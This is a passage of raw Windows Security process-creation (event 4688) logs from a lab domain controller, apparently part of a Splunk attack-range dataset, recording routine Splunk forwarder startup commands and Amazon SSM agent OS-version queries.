	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd58
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xfa4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunkd" check-transforms-keys

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253725
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd0c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe90
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-regex --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253724
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe90
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xfa4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-regex --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253742
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xed4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinNetMon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253741
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd0c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinHostMon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253740
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe38
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinEventLog.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253739
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xee0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\MonitorNoHandle.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253738
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xda0
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xf00
	Creator Process Name:	C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
	Process Command Line:	powershell "Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion'" "| Select-Object" "ProductName, BuildLabEx, CurrentMajorVersionNumber, CurrentMinorVersionNumber" "| ConvertTo-Json -Depth 3"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253737
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xfe4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"  _internal check-xml-files --answer-yes --no-prompt 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253736
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfe4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal check-xml-files --answer-yes --no-prompt 2>&1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253735
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x898
	New Process Name:	C:\Windows\System32\wbem\WMIC.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xf00
	Creator Process Name:	C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
	Process Command Line:	wmic OS get Version /format:list

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253734
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf48
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xf00
	Creator Process Name:	C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253733
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf5c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xf04
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253732
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf04
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xef4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253731
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xfa4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253749
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xec8
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xf00
	Creator Process Name:	C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
	Process Command Line:	powershell "Get-CimInstance Win32_OperatingSystem" "| Select-Object" "Version, OperatingSystemSKU" "| ConvertTo-Json -Depth 3"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253748
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfec
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell2.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253747
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd94
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253746
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfb0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\perfmon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253745
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf44
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\admon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

